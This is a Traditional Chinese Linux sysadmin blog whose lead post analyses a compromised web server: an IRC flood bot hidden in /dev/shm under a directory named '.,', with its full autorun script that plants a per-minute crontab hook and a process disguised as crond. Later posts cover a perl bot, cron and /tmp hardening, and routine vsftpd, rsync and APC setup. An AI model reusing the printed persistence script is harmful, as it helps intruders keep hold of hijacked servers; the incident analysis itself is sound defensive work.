顯示具有 linux 標籤的文章。 顯示所有文章
顯示具有 linux 標籤的文章。 顯示所有文章

2011年11月18日 星期五

3303 port 異常

最近檢查netstat時發現我的機器要去連別人的 3303 port
對它查了一下
[root@test hack]# lsof -i:3303
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
crond 30760 apache 0u IPv4 146133427 TCP xxx-xxx-xxx-xxx.xxx:54619->206.246.0.109:opsession-clnt (SYN_SENT)
[root@test hack]# lsof -p 30760
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
crond 30760 apache cwd DIR 0,20 40 143575172 /dev/shm/.,
crond 30760 apache rtd DIR 253,0 4096 2 /
crond 30760 apache txt REG 0,20 152108 143575177 /dev/shm/.,/crond
crond 30760 apache mem REG 253,0 21948 1993206 /lib/libnss_dns-2.5.so
crond 30760 apache mem REG 253,0 129900 1993008 /lib/ld-2.5.so
crond 30760 apache mem REG 253,0 1693812 1993009 /lib/libc-2.5.so
crond 30760 apache mem REG 253,0 50848 1993948 /lib/libnss_files-2.5.so
crond 30760 apache mem REG 253,0 80636 1993039 /lib/libresolv-2.5.so
crond 30760 apache 0u IPv4 146133427 TCP xxx-xxx-xxx-xxx.xxx.xxx:54619->206.246.0.109:opsession-clnt (SYN_SENT)
crond 30760 apache 3u IPv4 146131264 UDP *:35863


嗯?用apache去呼叫crond?
查看cron log
[root@test cron]# vi /var/log/cron
Nov 18 11:01:01 web crond[31867]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:02:01 web crond[31870]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:03:01 web crond[31875]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:04:01 web crond[31883]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:05:01 web crond[31896]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:06:01 web crond[31906]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:07:01 web crond[31918]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:08:01 web crond[31927]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:09:01 web crond[31935]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)

趕羚羊!這三小!
每一分鐘都執行一次
看一下他在tmpfs裡執行什麼鬼
[root@test shm]# ls -lha
總計 0
drwxrwxrwt 3 root root 60 11月 12 03:32 .
drwxr-xr-x 2 apache apache 60 11月 18 08:25 .,
drwxr-xr-x 12 root root 3.8K 11月 16 09:11 ..

嗯? 沒有檔案嗎?
......
怎麼有二個上一層?
按! 靠北....邊走咧!
它把目錄命名成'.,'
仔細看目錄擁用者是apache
進去裡面瞧瞧
[root@test .,]# ls -lh
總計 392K
-rwxr-xr-x 1 apache apache 319 2月 22 2009 autorun
-rwxr-xr-x 1 apache apache 149K 6月 1 2001 crond
-rw-r--r-- 1 apache apache 45 11月 12 03:32 cron.d
-rwxr-xr-x 1 apache apache 8.5K 1月 24 2006 f
-rwxr-xr-x 1 apache apache 15K 11月 3 2005 f4
-rw-r--r-- 1 apache apache 12 11月 12 03:32 fl.dir
-rwxr-xr-x 1 apache apache 84 9月 22 13:32 fwd
-rwxr-xr-x 1 apache apache 11K 5月 30 2005 j
-rwxr-xr-x 1 apache apache 14K 5月 30 2005 j2
-rwxr-xr-x 1 apache apache 23K 7月 30 2004 mech.help
-rw-r--r-- 1 apache apache 1.1K 11月 18 08:00 mech.levels
-rw------- 1 apache apache 6 11月 18 08:22 mech.pid
-rw-r--r-- 1 apache apache 249 11月 18 08:00 mech.session
-rwxr-xr-x 1 apache apache 443 11月 2 17:16 mech.set
-rwxr-xr-x 1 apache apache 76 12月 8 2010 run
-rwxr-xr-x 1 apache apache 15K 2月 21 2005 s
-rwxr-xr-x 1 apache apache 17K 9月 19 2002 sl
-rwxr-xr-x 1 apache apache 16 2月 22 2009 start
-rwxr-xr-x 1 apache apache 15K 9月 3 2004 std
-rwxr-xr-x 1 apache apache 8.6K 1月 24 2006 stream
-rwxr-xr-x 1 apache apache 7.0K 1月 24 2006 tty
-rwxr--r-- 1 apache apache 169 11月 12 03:32 update
-rwxr-xr-x 1 apache apache 14K 11月 20 2002 v
-rwxr-xr-x 1 apache apache 15K 7月 22 2005 v2
-rwxr-xr-x 1 apache apache 915 3月 2 2005 x

很好...就是你們
因為 /dev/shm 權限預設是 777
先把你們挪去其他地方
接著把執行的程式砍了
[root@test shm]kill -9 30760

來研究一下
一開始應該是先執行這個
[root@test hack]# vi start
./autorun
./run
唔...再看這兩隻
[root@test hack]# vi autorun
#!/bin/sh
pwd > fl.dir
dir=$(cat fl.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/mech.pid; then
pid=\$(cat $dir/mech.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

[root@test hack]# vi run
#bin/bash
export PATH=:$PATH
crond
echo "Enjoy FloodBot based on OverKill"

總而言之它就是塞了一個 cron 給 crontab 執行
回頭再看一下 cron 的 log 檔
赫!! crond 還在執行它塞的那一句
查看一下 crontab -l
沒有看到啊......去那裡了呢?
啊!......它是以 apache 的身分建立的
要去 /var/spool/cron 底下找
[root@test cron]# ls -lh /var/spool/cron
總計 8.0K
-rw------- 1 apache root 45 11月 12 03:32 apache
-rw------- 1 root root 478 11月 17 09:27 root

把 apache 殺掉後,重啟 crond
OK! 沒有再執行了

截止目前為止,都是在把它移除跟清除的動作
再來要怎麼防止再次發生咧?
先找一下它是從裡來的
GOOGLE 找到了一篇說可能是從 phpMyAdmin 來的
因為這種大部分是預設名字的資料夾比較容易被猜到
進而從漏洞丟程式進來
所以先把 phpMyAdmin 拿掉了

再來,它是利用 crond 來重覆執行程式
記得鳥哥說可以只讓某些帳號使用 crond
查了一下,可以把 apache 加入 /etc/cron.deny
也可以只把允許使用的帳號加入 /etc/cron.allow
兩個檔案留一個就好
若兩個都在則 cron.allow 優先權較高
不然再更絕一點把兩個檔案都刪掉,只有 root 可以執行
上面說的都在 man crontab 裡
DESCRIPTION
Crontab is the program used to install, deinstall or list the tables used to drive the cron(8) daemon in ISC Cron. Each user can have their own crontab, and though these are files in /var/spool/ , they are not intended to be edited directly. For SELinux in mls mode can be even more crontabs - for each range. For more see selinux(8).

If the cron.allow file exists, then you must be listed therein in order to be allowed to use this command. If the cron.allow file does not exist but the cron.deny file does exist, then you must not be listed in the cron.deny file in order to use this command. If neither of these files exists, only the super user will be allowed to use this command.


架站當時對外 3303 port 就已經被我 DROP 掉了
所以它要跟其它機器溝通的封包都被我丟掉了

其實它把對外連結的程式也命名成 crond
讓我們在查看 ps 時會以為是系統的 crond 在執行
上述部分藍色字的部分

找資料時都沒有中文的網站
所以稍為寫的多一點
把很多當初查詢的關鍵字都寫到文章裡了

--
參考網站
http://forums.gentoo.org/viewtopic-t-802836-start-0.html
http://linux.vbird.org/linux_basic/0430cron.php#cron_deny

2011年4月12日 星期二

Perl異常吃CPU

今天主機又被攻擊了= =
top內看到perl的程式把CPU吃光了,不過我沒抓下來
用netstat看一下從那裡來的@@
# netstat -n|more
Proto Recv-Q Send-Q Local Address           Foreign Address        State
tcp 0 0 xxx.xxx.xxx.xxx:80 134.208.xxx.xxx:49561 SYN_RECV
tcp 0 0 xxx.xxx.xxx.xxx:38693 69.64.47.228:5190 ESTABLISHED
你是誰啊= =
# lsof -i :5190
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
perl 2524 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2561 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2573 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2654 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2680 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 2741 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)
perl 10443 apache 3u IPv4 74879420 TCP xxx-xxx-xxx-xxx:38693->balder791.startdedicated.com:aol (ESTABLISHED)

=..=每次攻擊都是這個域名公司的
全部kill掉後,上辜狗找到可能的原因是透過php的fileupload上來的,可執行的程式碼上傳到/tmp底下,利用/tmp預設大家都可寫入可執行的特色,進行攻擊。
進到/tmp底下發現名為'f'的檔案,手賤的我一看到它就rm掉了
忘了看它裡面寫什麼東西...= =""
但是網站還是需要上傳的功能,總不能把它關了
這時候就要利用mount -o noexec,nosuid的方式
將/tmp掛載成不能執行,不能使用指令的模式
# vi /etc/fstab
/dev/VG00/lv_tmp /tmp ext3 noexec,nosuid 1 2

#mount /tmp -o remount

希望降子能有效阻擋此類攻擊 囧>

--
參考網址
http://www.study-area.org/phorum/index.php?topic=59532.0
http://blog.teatime.com.tw/1/post/126

2010年10月14日 星期四

vsftp設定

我在vsftpd.conf多加了幾個設定
local_umask=002
pasv_enable=YES
pasv_min_port=xxxxxx
pasv_max_port=xxxxxx
chroot_local_user=YES
user_config_dir=/etc/vsftpd/userconf

大部分的指令網路都查的到
而最後一條指令是設定個別user的conf檔存放位置

例如要把user1的家目錄指定到網頁資料夾可以這樣寫
vi /etc/vsftpd/userconf/user1

local_root=/var/www/html

這樣user1一登入便會進到html資料夾內
而且我有設定chroot_local_user=YES
所以user1也無法離開根目錄亂逛囉!

另外如果要使用xinetd管理vsftp
vsftp有寫好的設定檔供使用
cp /usr/share/doc/vsftpd-2.0.5/vsftpd.xinetd /etc/xinetd.d/vsftpd

存好後將disable改為no
另外要注意的是要將vsftp的主動模式(stand alone)關掉
我就是沒有關所以一直不成功...
vi /etc/vsftpd/vsftpd.conf

listen=NO
可以開始使用囉
--
參考網頁
http://www.linuxpk.com/5831.html
http://itnewsvendor.appspot.com/2071040-rhel5_xinetd_%E6%96%B9%E5%BC%8F.html
http://linux.vbird.org/linux_server/0410vsftpd.php#server_vsftpd.conf

2010年10月5日 星期二

/etc/rc.d/rc.sysinit: line 648: fsck:command not found

電源失敗後出現的致命訊息
因為開機都會執行fsck,而在/sbin裡卻找不到fsck了!!
這...應該是死定了!!
google過沒有找到什麼好方法
只好拿liveCD試看看
liveCD開完機後自動就將所有的硬碟都mount起來了
還好資料都還在,可以趕快進行備份

2010年7月15日 星期四

kernel: EXT3-fs error (device dm-4): ext3_lookup: unlinked inode 58079497 in dir #58073509

昨天要下班前發現架設的網站登不進去,第一個想到的是table的錯誤,但事情不是憨人想的那麼簡單,repaire table後情況依舊。查看log檔才知道是檔案系統出錯了,導致磁碟變成read only,所以session檔寫不進硬碟,造成無法登入的情況。

Jul 14 17:37:54 myhost kernel: Aborting journal on device dm-4.
Jul 14 17:37:54 myhost kernel: __journal_remove_journal_head: freeing b_committed_data
Jul 14 17:37:54 myhost kernel: EXT3-fs error (device dm-4): ext3_lookup: unlinked inode 58078839 in dir #58073509
Jul 14 17:37:54 myhost kernel: ext3_abort called.
Jul 14 17:37:54 myhost kernel: EXT3-fs error (device dm-4): ext3_journal_start_sb: Detected aborted journal
Jul 14 17:37:54 myhost kernel: Remounting filesystem read-only

所以咧,第一個想到要用的指令就是e2fsck
它可以下參數-a自動修復,另外要注意使用前要把partition umount,如果是根目錄壞掉的話,只好進入single user mode囉(還好我都有分割的好習慣XD)

# e2fsck -a /dev/vg_data/lv_data
我是用lvm所以磁碟路徑是長這樣@@;

會出現錯誤其實是我手賤,測試伺服器直接mount正式伺服器的data partition在跑,結果也有寫入session的關係,在測試伺服器下線還是怎樣後,新增加session檔的inode發生錯誤,系統強制將partition轉為read only,才導致這次的事件發生。
因為session其實是紀錄client的狀態,當很多client端同時上線時就有可能會造成io wait(雖然寫的檔都很小),所以這次索性將session資料夾mount到tmpfs上,以ramdisk的型式在跑或多或少可以加快速度。

# mount -t tmpfs tmpfs /session

要注意的是因為是寫在記憶體裡,重開機就不見囉!!
不過session不見也還好,沒什麼關係。
--
參考網站
http://www.centos.org/modules/newbb/viewtopic.php?topic_id=17036
http://www.hkcode.com/linux-bsd-notes/178
http://plog.longwin.com.tw/my_note-unix/2006/01/08/ram_disk_build_method

2010年7月6日 星期二

Sorry, I was not able to successfully run APXS

最近網站效能碰到瓶頸,想說終於是該用PHP加速器了
APC、eAccelerator、XCache 中我挑了APC
在APC安裝前要先確定系統已安裝php-pear
安裝很簡單就像安裝pear的套件一樣,只是改成pecl而已
pecl install apc
若沒有意外的話會碰上
Sorry, I was not able to successfully run APXS
囧>,那是apache的應用程式相關
所以
yum install httpd-devel
就OK囉!

 --
但是我裝另外一台,就很不給面子出現
CRITICAL ERROR: We are channel://pear.php.net/apc-3.0.19
只好手動安裝
下載http://pecl.php.net/package/APC
照著document即可安裝成功。

參考網站
http://pecl.php.net/package/APC
http://pecl.php.net/bugs/bug.php?id=5942
--
20101227追加
在新機器上要裝apc時出現
error: pcre.h: No such file or directory

安裝一下吧
yum -y install pcre-devel

重新run一次即可

參考網站
http://www.centos.org/modules/newbb/viewtopic.php?topic_id=8447

2010年6月24日 星期四

ncftpput: command not found

調用crontab執行ncftpput時,發現不會動作......

You have mail in /var/spool/mail/root
系統寄信給我了 = =a

Auto-Submitted: auto-generated
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:
X-Cron-Env:

/root/backup.sh: line 3: ncftpput: command not found


sh 沒有支援到ncftpput指令,囧>
將指令改寫為完整路徑

/usr/local/bin/ncftpput -u..........

就可以跑囉!

參考網頁
http://www.linuxquestions.org/questions/linux-networking-3/ncftpget-problem-103795/

2010年6月18日 星期五

/usr/bin/dvips: ! DVI file can't be opened.

moodle內有支援tex(latex)
因為是直接調控主機內的程式,所以安裝了
tetex-latex
及其他相依程式

測試過後發現圖片出不來
檢查/etc/httpd/logs/error_log

kpathsea: Running mktexfmt latex.fmt
kpathsea: Running mktexfmt latex.fmt
fmtutil: format directory `/.texmf-var/web2c' does not exist.
fmtutil: format directory `/.texmf-var/web2c' does not exist.
This is dvips(k) 5.95a Copyright 2005 Radical Eye Software (www.radicaleye.com)
/usr/bin/dvips: ! DVI file can't be opened.
sh: /var/www/html/moodle/filter/tex/mimetex.linux: Permission denied
This is dvips(k) 5.95a Copyright 2005 Radical Eye Software (www.radicaleye.com)
/usr/bin/dvips: ! DVI file can't be opened.
sh: /var/www/html/moodle/filter/tex/mimetex.linux: Permission denied
sh: /var/www/html/moodle/filter/tex/mimetex.linux: Permission denied
sh: /var/www/html/moodle/filter/tex/mimetex.linux: Permission denied
kpathsea: Running mktexfmt latex.fmt
fmtutil: format directory `/.texmf-var/web2c' does not exist.
This is dvips(k) 5.95a Copyright 2005 Radical Eye Software (www.radicaleye.com)
/usr/bin/dvips: ! DVI file can't be opened.
convert: unable to open image `/backup/temp/latex/d1e56126337cd6e29b16fe759232ce90.ps': No such file or directory.

將/moodledata/temp/latex內修改權限便可以看到圖片了

2010年6月17日 星期四

Metadata file does not match checksum

當執行yum時如果出現
Metadata file does not match checksum
可以在yum.conf裡添加

http_caching=none

參考網址
http://plone.lucidsolutions.co.nz/linux/rpm/yum-metadata-file-does-not-match-checksum

2010年5月26日 星期三

linux 指令

lspci--查看匯流排、網卡等裝置型號

2010年5月19日 星期三

linux rsync備份至不同機器

target(被丟的)
# vi /etc/rsyncd.conf
    [mch1]
path = /backup
auth users = tatsumilk
uid = root
gid = root
secrets file = /etc/rsyncd.secrets
read only = no
# vi /etc/rsyncd.secrets
tatsumilk:1234567

# chmod 600 /etc/rsyncd.secrets
重要!不然會auth failed

# rsync --daemon

initiator(丟人的)
# vi /home/.../rsyncd.secrets
1234567

# rsync -av --password-file=/home/.../rsyncd.secrets /send tatsumilk@targetIP::mch1

如果上面沒有改權限則會出現下面訊息
@ERROR: auth failed on module mch1
rsync error: error starting client-server protocol (code 5) at main.c(1383) [sender=2.6.9]

參考網頁
http://www.csie.nctu.edu.tw/~tsaiwn/course/introcs/history/linux/linux.tnc.edu.tw/techdoc/rsync.htm

linux moodle 使用套件

php-common-5.1.6-3.7.fc6
php-odbc-5.1.6-3.7.fc6
php-cli-5.1.6-3.7.fc6
php-pgsql-5.1.6-3.7.fc6
php-mbstring-5.1.6-3.7.fc6
php-pdo-5.1.6-3.7.fc6
php-5.1.6-3.7.fc6
php-gd-5.1.6-3.7.fc6
php-xmlrpc-5.1.6-3.7.fc6
php-ldap-5.1.6-3.7.fc6
php-mysql-5.1.6-3.7.fc6

httpd-2.2.6-1.fc6
system-config-httpd-1.4.1-1.fc6
httpd-manual-2.2.6-1.fc6

libdbi-dbd-mysql-0.8.1a-1.2.2
mod_auth_mysql-3.0.0-3.1
mysql-server-5.0.27-1.fc6
mysql-connector-odbc-3.51.12-2.2
mysql-5.0.27-1.fc6
mysql-devel-5.0.27-1.fc6
php-mysql-5.1.6-3.7.fc6
mysql-bench-5.0.27-1.fc6

linux phpMyAdmin

fedora剛灌好是沒有附phpMyAdmin
# yum install phpMyAdmin
因為習慣用web介面所以/etc/phpMyAdmin/config.inc.php裡用預設即可
# vi /etc/httpd/conf.d/phpMyAdmin.conf

# But allowing phpMyAdmin to anyone other than localhost should be considered
# dangerous unless properly secured by SSL

Alias /phpMyAdmin /usr/share/phpMyAdmin
Alias /phpmyadmin /usr/share/phpMyAdmin

order deny,allow
deny from all
allow from 127.0.0.1
allow from ::1
allow from all


# This directory does not require access over HTTP - taken from the original
# phpMyAdmin upstream tarball
#

Order Deny,Allow
Deny from All
Allow from all

換成IP是比較保險,不過寫all就可以連上去了

2010年5月5日 星期三

550 create directory operation failed


其實事情還沒結束....
在傳輸檔案時發生了

550 create directory operation failed
不用想也知道又是SElinux了...

# vi /etc/selinux/config
設定SELINUX=disable
重開機後...終於啊...
--
參考網頁
http://blog.techippo.org/archives/351
http://www.uncle.ws/2010/04/vsftp-550-create-directory-operation-failed/

2010年5月4日 星期二

500 OOPS: cannot change directory:/home/


裝完vsftpd後
client端出現

500 OOPS: cannot change directory:/home/

google大部分是 說

setsebool ftpd_disable_trans 1
但會出現

Could not change active booleans: Invalid boolean
其實是SElinux限制住了,所以改key

setsebool -P ftp_home_dir=1
就可以囉!

--
參考網頁
http://www.rossi.url.tw/wordpress/?p=204
http://wiki.ubuntu.org.cn/Vsftpd%E8%99%9A%E6%8B%9F%E7%94%A8%E6%88%B7%E8%AE%BE%E7%BD%AE
http://adai0620.blog.ccidnet.com/blog-htm-do-showone-type-blog-itemid-406513-uid-68468.html

2010年4月30日 星期五

liux lvm 最大值

lvm2+linux2.6已經没有2T限制了

lvm裡VG(Volume Group, 捲軸群組)最多只可包含65534個PE(Physical Extend, PE, 實體延伸區塊),而每個PE的大小值介於8k~16G,且需為2的倍數。

若PE取最大值16G 則lvm最大可約1PB(65534 * 16G = 1,048,544G)。


參考網頁:
https://bbs.et8.net/bbs/archive/index.php/t-455273.html
http://www.novell.com/global/china/support/tids/7000032.html
http://linux.vbird.org/linux_basic/0420quota.php#the_pv

2010年4月28日 星期三

linux掛點進入單人模式,很多設定都變成read only,只要下以下指令即可

mount -n -o remount,rw

之前因為多設eth1且網段與eth0不一樣,導致開機很慢也不能登入
進入shell後下

ip link set eth1 down


關掉eth1重開即可

ps.ifconfig eth1 down只是暫時性的,無寫入系統

2010年3月17日 星期三

linux

ncftp
下載原始碼
./configure
make
make install

完成!